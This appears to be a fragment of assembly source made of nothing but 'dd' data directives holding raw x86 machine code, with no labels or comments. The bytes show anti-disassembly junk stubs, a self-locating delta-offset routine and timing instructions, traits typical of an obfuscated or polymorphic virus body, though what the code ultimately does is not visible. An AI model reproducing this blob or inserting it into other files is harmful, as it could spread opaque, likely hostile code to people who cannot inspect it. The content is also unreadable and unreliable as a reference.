		dd 1B042444h, 43000000h, 12CCC353h, 5E8AA3AFh, 0BD89AC20h
		dd 61220BDh, 9A1958Bh, 9D230612h, 6120DA5h, 5058D8Bh, 6A0612h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h, 52420000h
		dd 8B5015C3h, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0AE9h, 7EF57E00h, 4A0E5765h,	0BB7A0A24h, 4448151Dh
		dd 2121BD83h, 0F000612h, 4684h,	0B800h,	8B520000h, 8D8D5FF8h
		dd 6124DB5h, 35D9D8Bh, 81660612h, 0FFE1CCE7h, 52006AE1h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 33FCC626h, 91DFAB15h, 0D58589A7h, 83061221h,	121BD9BDh
		dd 840F0006h, 4EEh, 9299D89h, 0E9500612h, 13h, 0D4E54244h
		dd 8C7DA2DBh, 0D39A04BFh, 0F16C7455h, 5B0E27F3h, 1BD9BD83h
		dd 0F010612h, 4DC84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1504h, 0C3514100h, 830FA87Fh, 6, 6D59D8Bh
		dd 0BD830612h, 6121BD9h, 70860F03h, 0F000004h, 188Ah, 13E900h
		dd 74B00000h, 88FE7059h, 5664FE34h, 998094C5h, 0BAC1860Dh
		dd 6A60B1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 6CAAADC3h, 0BB52F5CFh, 668FD2A2h,	0D98C665Bh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Bh, 6BC35646h
		dd 6116B1C0h, 80008F8Dh, 6A04E1h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 0FD9285C3h, 28A0F4Eh
		dd 0E94C9794h, 10h, 7CC47EF2h, 0F4A230DEh, 17F9C712h, 9583EB0Ah
		dd 0ADBBF0Fh, 52840FC9h, 6A000001h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 8BBDC353h
		dd 12308D85h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 1024C83Dh, 0BF0755FCh, 0DF8B71E9h
		dd 31658533h, 6A0612h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 1A0424h, 53430000h, 18F9AEC3h, 0C6D21F5Ch, 50D8BF0Fh
		dd 0F610D6BBh, 2404890Fh, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0DFC35141h, 7398C45Ah, 556AD4CEh, 19559529h
		dd 6A0612h, 26B5BD89h, 0BD010612h, 61208DDh, 0EC815668h
		dd 0E9605161h, 11h, 0BC59B84Eh,	0F76AAEE5h, 3ED6BEAFh
		dd 81564868h, 61585142h, 2434815Bh, 61F382A9h, 18E59589h
		dd 95FF0612h, 6122379h,	28619D8Bh, 85890612h, 6120E3Dh
		dd 0C8128589h, 6A0615h,	3E855h,	5D200000h, 6C895DC3h, 44810424h
		dd 1A0424h, 55450000h, 64958BC3h, 3CDA0E67h, 48D0Fh, 0BB660000h
		dd 0EEE9B55Fh, 6A000001h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 0C4A6C351h,	293F66E4h
		dd 1200AD85h, 0A858B06h, 0C70615C8h, 1800h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1804h, 0C3524200h
		dd 84DBC60Fh, 0B58BF960h, 615C80Eh, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 0F6C35646h,	0B521A966h, 6E9EFh
		dd 0C6460000h, 0A18F149Ch, 2AB9858Bh, 6A0612h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1C0424h, 55450000h
		dd 0F279FBC3h, 5D886DA4h, 0BD8BD3FEh, 61210A5h,	2A99BD03h
		dd 6890612h, 0A082E781h, 858B17ABh, 612308Dh, 0E3D9D8Bh
		dd 46890612h, 57006A04h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1B04h, 0C3574700h, 59783F6Eh, 3B37CCFCh, 8953B350h
		dd 6A2434h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 160424h
		dd 51410000h, 931896C3h, 0FFFFB70Fh, 15C80AB5h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1704h, 0C3534300h
		dd 0B551044Ch, 0A2CCBF66h, 4E8h, 1F03FF00h, 8E900h, 0BAD70000h
		dd 0D9A4AE77h, 0E850BCB2h, 5, 0A402FA40h, 448B5B3Dh, 6FBF0424h
		dd 8B12F671h, 0BE800h, 0CA4F0000h, 32DA3CF9h, 8485D9F1h
		dd 44895BDAh, 0E9600424h, 9, 0AA706551h, 6461EF31h, 0CE8B3h
		dd 0F7E50000h, 0B292F890h, 37A02DE7h, 615E7EAFh, 52006A58h
		dd 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1C04h, 0C3524200h, 4708809Dh, 1D53E9C1h
		dd 12858DEEh, 660615C8h, 6650DF8Bh, 489D88Bh, 0A1BB6624h
		dd 7995FFABh, 89061223h, 121B8DBDh, 0EF816106h,	4DC4C2CFh
		dd 10E9h, 1D4FB00h, 46DC1F06h, 0A98E76ABh, 0F55F4DD9h
		dd 0D985C7A5h, 306121Bh, 6A000000h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1A042444h, 42000000h, 0F171C352h
		dd 0B3B5DD5Eh, 83F98BB2h, 15C812BDh, 840F0006h,	4Bh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 19h, 68C35343h, 0F74023FBh
		dd 0CD958985h, 0E9061228h, 3Ah,	0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 17h, 53C35343h, 50A964E7h, 110C30h
		dd 0C1011144h, 443010E8h, 4C000211h, 83580311h,	0E77504E9h
		dd 305036EBh, 64001104h, 0E8C10111h, 11443010h,	11640002h
		dd 0E9835803h, 0EBE77504h, 0E8C1501Bh, 11642810h, 11443003h
		dd 64285802h, 4300111h,	4E98311h, 0EBE775h, 9D8BC08Bh
		dd 61207B9h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 15h,	0A9C35646h, 0C870F9Ah, 0F000000h, 68Eh,	0A9BD0300h
		dd 83061215h, 121BD9BDh, 850F0306h, 3F7h, 0BD83DF8Bh, 615C812h
		dd 0E8840F00h, 0FF000003h, 15C812B5h, 52006A06h, 3E8h
		dd 0C35A2000h, 2454895Ah, 24448104h, 1504h, 0C3524200h
		dd 0BD8B7D63h, 6120A25h, 0DE9h,	0F59F1E00h, 74334DE5h
		dd 0BB0EB692h, 95FF1930h, 6121AA9h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ah, 8FC35646h, 5F520437h, 63BB69A0h
		dd 8B233B6Fh, 15C806B5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1C04h, 0C3554500h, 44E5F2A0h, 5A9089A3h
		dd 419D8BFFh, 66061209h, 9EC4E781h, 106C7h, 0BD8B0001h
		dd 6121051h, 0E8525096h, 13h, 0C82EE016h, 0CD644B7Fh, 660A08EDh
		dd 70F80EB5h, 8B4D3947h, 310F5BDEh, 0FE860h, 142A0000h
		dd 5ABC386Dh, 0E80BBA83h, 0D993365Eh, 5E575807h, 50585A61h
		dd 12E8h, 0D55D2900h, 6122946Fh, 0D040E661h, 0EC3C2B12h
		dd 66B8462Bh, 965FD98Bh, 6C2AD381h, 0B5FF6B3Fh,	615C812h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0BAC35646h
		dd 4DBD8B79h, 8B061218h, 122EEDBDh, 595FF06h, 6A06121Ch
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
		dd 43000000h, 0E4EBC353h, 73BE425Fh, 0AE97414h,	31000000h
		dd 7FC03920h, 9A592E33h, 6B58B96h, 0BF0615C8h, 177F1C60h
		dd 1A5858Bh, 81660612h,	893C79F7h, 0C486h, 53006A00h, 3E8h
		dd 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
		dd 8B66EA57h, 12E8DAh, 0B9BB0000h, 68FC154Ah, 7017AF46h
		dd 0BF1CA08Ch, 0B5A9B294h, 2CD9BD33h, 8B5B0612h, 1209A195h
		dd 0C7816606h, 0C2836318h, 36EABB04h, 5089008Fh, 50006A20h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1904h, 0C3504000h
		dd 39FE03E5h, 0F88B0706h, 0DC6F858Dh, 0F3800615h, 0B88689E5h
		dd 50000000h, 1B699529h, 6A5B0612h, 69BD8B00h, 0FF061210h
		dd 15C812B5h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1404h, 0C3534300h, 0BABB66F6h, 0A595FF1Eh, 6A061206h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 16042444h
		dd 41000000h, 14DAC351h, 6EBF66DDh, 12E946h, 6D2A0000h
		dd 3263FEh, 0BCB5DC44h,	5528D221h, 0B7AEE87Bh, 0F98B6650h
		dd 6A243489h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 17042444h, 41000000h, 6B9DC351h, 0B5FF037Eh,	615C812h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Ch, 2FC35040h
		dd 0CE04484h, 423245E6h, 1D759D8Bh, 81660612h, 0FF5BABDFh
		dd 12028195h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 0FADC1301h, 35B0E566h, 0BD83DCE6h
		dd 6122A09h, 30840F00h,	80000000h, 0BB5023F7h, 75E84DDBh
		dd 6A243489h, 3E85300h,	20000000h, 895BC35Bh, 8104245Ch
		dd 19042444h, 43000000h, 9F7CC353h, 2E5D7803h, 0FFF98B66h
		dd 15C812B5h, 759D2906h, 0FF06120Ch, 1218C195h,	57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1404h, 0C3574700h
		dd 12B5FF0Bh, 0BB0615C8h, 4B902931h, 1BA195FFh,	83F80612h
		dd 121EB1BDh, 840F0206h, 43h, 24159589h, 858B0612h, 61203A5h
		dd 0C6FABF0Fh, 6A0000h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 0C6FF96C3h, 759D8BCBh, 0F061230h
		dd 680h, 159D8B00h, 0C7061219h,	121B5985h, 6, 8CF38100h
		dd 0E91F068Ah, 0FFFFF304h, 1318589h, 0C18B0612h, 15458D89h
		dd 858D0612h, 6122E01h,	57F56053h, 505B6158h, 0F8240489h
		dd 6A006Ah, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h
		dd 52420000h, 9531F4C3h, 612101Dh, 6E9006Ah, 76000000h
		dd 88AA21A4h, 5A858D20h, 8306168Bh, 6A05C0h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0C112F6C3h
		dd 5557428Eh, 8BD477E0h, 121FF5BDh, 66609006h, 0FCD63BFh
		dd 58Dh, 4A4CBA00h, 50613541h, 0AE8h, 4BC2EC00h, 655E8939h
		dd 501EC377h, 14E852h, 0E87F0000h, 66982142h, 7905FFEBh
		dd 0B3704494h, 613E31Fh, 0F5FB5C9h, 8B0F31h, 5A000000h
		dd 8B905B58h, 120ED9BDh, 6A006A06h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FBDC357h
		dd 8B50DEB7h, 6A5BDAh, 0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Dh, 73C35343h, 9793F4A9h,	9BBFE945h, 0B595FF07h
		dd 5106120Dh, 1E806EBFh, 8D8D5B15h, 615AF02h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 80C35747h, 376A6E0Ah
		dd 0AF42F679h, 219D8B13h, 0FF06122Ch, 50006AD1h, 3E8h
		dd 0C3582000h, 24448958h, 24448104h, 1704h, 0C3504000h
		dd 0ADDB75F4h, 8908CB81h, 0BD830CD4h, 61207ADh,	0BD850F01h
		dd 6A000000h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1B042444h, 45000000h, 0BA14C355h, 8CA7AA96h,	26A03C9h
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 9FC35545h
		dd 4820F1Ah, 66000000h,	90188CBBh, 0F880Fh, 66600000h
		dd 5E9C88Bh, 0C2000000h, 0F442AD17h, 66505061h,	905BD98Bh
		dd 12E8h, 0C466FB00h, 8F95DC24h, 5EFD2218h, 0D5EB24B1h
		dd 0B31FE0EDh, 0BD8B5BA8h, 6121F7Dh, 6A595FFh, 6A0612h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
		dd 409D3AC3h, 517F2E21h, 0FDB313Eh, 38Ch, 0DFB70F00h, 0CA2E9h
		dd 0E800h, 815D0000h, 168B64EDh, 15BD8B06h, 0BF061224h
		dd 251AC002h, 9437858Dh, 6A0615h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1A0424h, 53430000h, 0E01A88C3h, 0B0F55082h
		dd 0BB90FB8Bh
		dd 45F85939h, 11E950h, 2C8C0000h, 6CE7CB61h, 144535Ah
		dd 0A7F5F116h, 902EC9C1h, 30F78166h, 35FF642Dh,	0
		dd 64FB8B66h, 2589h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 0FC9411C3h, 9D8B6EF9h
		dd 6121745h, 67985FFh, 0F3810612h, 688A1F70h, 6AFF6Ah
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 0C9F65EC3h, 75201DC5h, 0BB66793Fh, 0B5FF973Dh, 6120CD1h
		dd 0FFFAB70Fh, 122CB595h, 15AE906h, 8A0F0000h, 8, 0FDBD8B56h
		dd 5B06120Dh, 2B6000B0h, 1222DDB5h, 70E66106h, 0BDE1D781h
		dd 71E430A0h, 3880Fh, 8B660000h, 0F613CDEh, 12783h, 0FFE8B00h
		dd 890FC8B6h, 0
		dd 6BAh, 9D8D2900h, 8B061203h, 0CE9C1h,	0C14E0000h, 438A0632h
		dd 0D4035B92h, 0E8C10A49h, 0A5EF8104h, 6626E621h, 0B752E2F7h
		dd 8E95B9Dh, 95000000h,	0A3FCD63Ch, 2B8A2DC1h, 8BD18BC8h
		dd 121D69BDh, 7E906h, 8BFC0000h, 122291BDh, 5858B06h, 0F061214h
		dd 1C89h, 14E800h, 208E0000h, 0B3AFE2BCh, 6F3909ACh, 0DC5312E8h
		dd 5D1D503Ah, 0F88B2121h, 4D9D8B5Bh, 8306120Dh,	896007C0h
		dd 120A09BDh, 61B58B06h, 61061217h, 0E900C083h,	12h, 0F37889BBh
		dd 2C9F7F7Ch, 0DFFC920Ah, 94E22BF8h, 9D09C0B7h,	6121345h
		dd 830FD03Bh, 1Ah, 5FE9h, 3800F00h, 80000000h, 800FD0F3h
		dd 6, 1C39B589h, 8D8B0612h, 61203EDh, 53DF8166h, 83E0B70Eh
		dd 840F01E1h, 34h, 869ABB66h, 3EDA583h,	0E8FE0612h, 9
		dd 0C3F4D90Eh, 14C45685h, 5FDE8B17h, 5778EF81h,	95893526h
		dd 6121405h, 1860Fh, 0E9F50000h, 0
		dd 0CCEB58Dh, 8B660616h, 6A006AFBh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 14042444h, 43000000h, 0F46C353h
		dd 583h, 0D3805300h, 0BD015F55h, 61203ADh, 19CD95FFh, 0BD090612h
		dd 6121EC1h, 8AFB9h, 0DD858900h, 83061221h, 92BBFCE1h
		dd 0FC0A20A4h, 0E0E38166h, 318D8972h, 2B06121Ah, 0D88B66C0h
		dd 0BAh, 0CDBD8B00h, 0E906122Ch, 6, 6FD0733Ah, 33AD8299h
		dd 3E8D1C2h, 4E983D0h, 6AF475h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 150424h, 53430000h, 23EB9BC3h, 121F55BDh
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1D04h
		dd 0C3564600h, 1C009AFBh, 0E2FF921Fh, 0BD8B3AE0h, 6120461h
		dd 880Dh, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1604h, 0C3524200h, 811A9DA4h, 0E5B369DFh, 0A1958B28h
		dd 6A061209h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 1C042444h, 40000000h, 832DC350h, 0FB7A1837h,	0BB2E0315h
		dd 7512DFDDh, 5058D8Bh,	6A0612h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0FCF90AC3h, 0E781666Ch
		dd 8B500C1Eh, 3188BC2h,	8B188BC1h, 3E8D1C1h, 58188BC2h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 75C35242h
		dd 5A7F51EEh, 52E1F264h, 0BD835BFCh, 6122121h, 25840F00h
		dd 66000000h, 0B8DF8Bh,	8B000000h, 121BB1BDh, 0B58D8D06h
		dd 8006124Dh, 0E1FF8FEBh, 68C0Fh, 85890000h, 6122E09h
		dd 1BD9BD83h, 0F000612h, 3D284h, 0CE900h, 1D820000h, 0FD166587h
		dd 0C863DCAAh, 0BD835F9Ah, 6121BD9h, 0CF840F01h, 6A000003h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 16042444h
		dd 42000000h, 14CC352h,	0C9BD094Eh, 83061206h, 121BD9BDh
		dd 860F0306h, 368h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 17h, 0AAC35343h, 81EB37FCh, 468D4FF7h, 66F96053h
		dd 0D98BD98Ch, 8B04E180h, 122329BDh, 0FC90A06h,	0DA84h
		dd 858BF500h, 612308Dh,	85338AB7h, 6123165h, 0D51CCB81h
		dd 89507877h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 0F31ACDC3h, 3181A906h, 1216818Dh
		dd 6A006A06h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 0A66BC351h, 10D98501h,	10E80612h
		dd 0FE000000h, 15BA2DF1h, 3A5B8BACh, 7DC95E45h,	5BABF4E1h
		dd 0CFFDFB68h, 24048197h, 684F0604h, 4E5B529h, 95FF0612h
		dd 6122379h, 12E9h, 0F9E16800h,	0B5B86A19h, 0B926EFA0h
		dd 0DF20E74Fh, 89AC1AFCh, 15C81285h, 50006A06h,	3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1B04h,	0C3504000h, 5BA2C1DEh
		dd 0D7EEA373h, 1BCE9F9h, 8BFC0000h, 15C80A85h, 499D8906h
		dd 89061218h, 121F6985h, 1800C706h, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h
		dd 0A2AAC357h, 551A7776h, 93FD6935h, 159D01h, 0B58B0612h
		dd 615C80Eh, 858BF88Bh,	6122AB9h, 660689FCh, 0B7E010BBh
		dd 8D858B77h, 6A061230h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 15042444h, 42000000h, 8809C352h, 31899D33h
		dd 46890612h, 56006A04h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1C04h, 0C3564600h, 0ACF63B33h, 8D1ABFE2h, 50FB8BBAh
		dd 0D473B960h, 896179F9h, 5FBB2434h, 0FF4B2B4Bh, 15C80AB5h
		dd 14E906h, 35D40000h, 661514D2h, 40B4B1CEh, 764359Eh
		dd 0F9C06354h, 0BD31986Ah, 6121651h, 4E8h, 1F03FF00h, 50D88A00h
		dd 424448Bh, 0F08B6660h, 0C40FBE66h, 66008B61h,	4489FE8Bh
		dd 0F600424h, 484h, 0D0BF6600h,	8E934h,	0A98D0000h, 63366E1Eh
		dd 58616A6Ah, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	0EBC35141h, 19F99D2Bh, 858D0612h, 615C812h, 0AE9h
		dd 17609E00h, 6F0E227Bh, 0BBEBE437h, 73D932ECh,	4800F50h
		dd 52000000h, 895F5B56h, 6A2404h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1C0424h, 51410000h, 0AF936CC3h, 54B2A13Ah
		dd 0BF0F38ACh, 7995FFFEh, 6A061223h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 19042444h, 47000000h, 8A2CC357h
		dd 6EAC22A1h, 0A21BD89h, 6A610612h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 66B4C352h
		dd 0B514320Fh, 850F8764h, 7, 0A793BF52h, 0C75B356Eh, 121BD985h
		dd 306h, 85096000h, 6122861h, 12E9h, 97F83B00h,	396F7050h
		dd 842759E5h, 0C6C249FCh, 6152F8D0h, 0C812BD83h, 0F000615h
		dd 2F84h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1704h, 0C3514100h, 1795F45Bh, 0C0F78166h, 21E9B1h, 9D890000h
		dd 6121EA9h, 110C3050h,	1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 19042444h, 40000000h, 3144C350h, 0DF7060E1h,	4033DF81h
		dd 0BF660736h, 0BD830AD6h, 6121BD9h, 1A850F03h,	89000004h
		dd 121A1DB5h, 12BD8306h, 615C8h, 407840Fh, 27B70000h, 0C812B5FFh
		dd 0F7800615h, 0A995FF2Bh, 6A06121Ah, 3E85200h,	20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 8B06C352h
		dd 15C806B5h, 9832BF06h, 6C77EA0h, 10001h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 6C35646h, 3BE38166h
		dd 68C0F05h, 8B000000h,	121C919Dh, 14E906h, 0C92F0000h
		dd 74FCA19Ch, 3A7344B5h, 64EBF52Dh, 5AA5486Dh, 60961872h
		dd 0E4BB6650h, 0CE959C2h, 0BA000000h, 7DD66F27h, 86C0EAD8h
		dd 61959ADEh, 96F98B50h, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 0FC35747h, 0EB1C8CECh, 9BF6500Dh, 0B5FF1BB3h
		dd 615C812h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 16h,	0B3C35141h, 95FF34D1h, 6121C05h, 1AFA30BFh, 6B58B75h
		dd 500615C8h, 860F57h, 5F000000h, 0A5858B5Fh, 6A061201h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0F49CC352h, 66348C24h, 0F04BDF81h, 0C48689h
		dd 8BF80000h, 1209A195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1704h, 0C3554500h, 5D2D5232h, 2F699D23h
		dd 0C2830612h, 45950904h, 89061212h, 6A2050h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1D0424h, 51410000h, 0C58AB8C3h
		dd 359A7E50h, 29F9E6B8h, 122CA5BDh, 6F858D06h, 660615DCh
		dd 89E7AFBFh, 0B886h, 74D38100h, 6A331E86h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1D04h, 0C3524200h
		dd 0F0279544h, 0E312582Eh, 9D89F694h
		dd 61213E5h, 0C812B5FFh, 6A0615h, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 1D0424h, 51410000h, 0D77642C3h, 0B4792F7h
		dd 0E8B65627h, 10h, 0E0B3C3BAh,	0A1C94AE5h, 95741C27h
		dd 70B6797h, 0FF5BD88Bh, 1206A595h, 52006A06h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1904h,	0C3524200h, 2682E603h
		dd 850FB6D6h, 6, 767AEB81h, 0E8504CB6h,	5, 0A76ABEDBh
		dd 0DE9CCh, 0FA690000h,	57440961h, 57B9DED7h, 5FCDD372h
		dd 0FF243489h, 15C812B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1B04h,	0C3554500h, 0A3A2F948h
		dd 0EA2DA14Fh, 28195FFh, 6A0612h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 170424h, 57470000h, 543B39C3h, 9BD83F7h
		dd 6122Ah, 48840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h
		dd 44810424h, 1C0424h, 53430000h, 0FD51FCC3h, 7A25624Bh
		dd 89502946h, 14E82434h, 5F000000h, 90E8BD77h, 0FF20C723h
		dd 0D17FAE60h, 3076C568h, 890BBE0Ah, 121B3D8Dh,	0B5FF5B06h
		dd 615C812h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ah,	1CC35646h, 92DA1C8Dh, 8166BEACh, 0FF879FDFh, 1218C195h
		dd 55006A06h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1404h
		dd 0C3554500h, 95E7818Ch, 0FF790CDCh, 15C812B5h, 0E5B52906h
		dd 0FF061221h, 121BA195h, 0C5BD8B06h, 83061205h, 121EB1BDh
		dd 840F0206h, 49h, 0A5858BF5h, 6A061203h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1A042444h, 47000000h, 20B1C357h
		dd 0A116F1B9h, 0C6F6h, 9E8h, 0E77E6700h, 0C2A84729h, 9D8B93AFh
		dd 6121671h, 2850F5Bh, 8A000000h, 5985C7F9h, 6121Bh, 6A000000h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1A042444h
		dd 43000000h, 4267C353h, 92F7D776h, 0F436E947h,	6AFFFFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1A0424h, 53430000h
		dd 0BA764FC3h, 0CD444F80h, 1858D89h, 0C18B0612h, 0FD8D89FCh
		dd 8D06121Ch, 122E0185h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1504h, 0C3534300h, 9D8BB055h, 6122BC5h, 0E9525090h
		dd 12h,	77FB8C79h, 0C99F8209h, 0EF120C2Ch, 0B0BB8E38h
		dd 310F24CBh, 5AFE8B66h, 8C0F5058h, 8, 0F525060h, 61585A31h
		dd 11E990h, 9CA00000h, 32D61AEEh, 1BD232B5h, 0FB914BFAh
		dd 6A1C009Ah, 52006A00h, 0FE9h,	3F007300h, 20D5A45Ah, 0F8C7ABBDh
		dd 66DDE9C3h, 18858D5Fh, 3106169Ah, 1207698Dh, 5C08306h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0C6C35141h
		dd 1EEC61E7h, 90ED1B7Bh, 13E950h, 0C1410000h, 3EE04623h
		dd 42C89BB2h, 0D53E0D41h, 91C95AC2h, 60505BE9h,	66C88B66h
		dd 9061F38Bh, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Ah,	91C35141h, 0DE5B9F44h, 6A62D5h,	0E852006Ah, 3
		dd 5AC35A20h, 4245489h,	4244481h, 14h, 0F5C35242h, 773AEB81h
		dd 0BE95457h, 3B000000h, 1D4FBDBh, 46DC1F06h, 6A76ABh
		dd 5E960h, 41E10000h, 61B88632h, 0DB595FFh, 17BB0612h
		dd 8D79FE0Dh, 15AF028Dh, 0FFF8B306h, 0A58D89D1h, 8306121Dh
		dd 1207ADBDh, 850F0106h, 0AAh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 19h, 9EC35646h, 63BDA868h, 6810FBBh
		dd 2B000000h, 120ED1BDh, 6A026A06h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 0A132C351h
		dd 6660503Ah, 8B66DF8Bh, 48961DFh, 56006A24h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1A04h,	0C3564600h, 992BC527h
		dd 0F138F96h, 95FFFFBFh, 61206A5h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 17h, 68C35040h, 0FCC69E73h, 13BD9D0Bh
		dd 57E90612h, 0E800000Dh, 0
		dd 22ED815Dh, 6606169Ah, 5B84DB81h, 0ADADBB66h,	9437858Dh
		dd 0FC8A0615h, 0BE850h,	0F39E0000h, 0BAB2974Ah,	6BE33704h
		dd 0E8525014h, 5, 5B11ED6Ch, 310F5F18h,	585A6160h, 2404895Bh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 15h, 92C35545h
		dd 198D0145h, 64061210h, 35FFh,	6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1C0424h, 50400000h, 1A97E2C3h
		dd 0FD492175h, 89647AB3h, 25h, 50006A00h, 3E8h,	0C3582000h
		dd 24448958h, 24448104h, 1904h,	0C3504000h, 98D3AF82h
		dd 8529CC58h, 6121019h,	299D9D01h, 85FF0612h, 6120679h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0B2C35141h
		dd 0A94EEF18h, 29F07499h, 1214F59Dh, 0BFF6A06h,	1222CDBDh
		dd 0B9B5FF06h, 6A06122Dh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 4F0FC351h, 0DB80AB5Dh
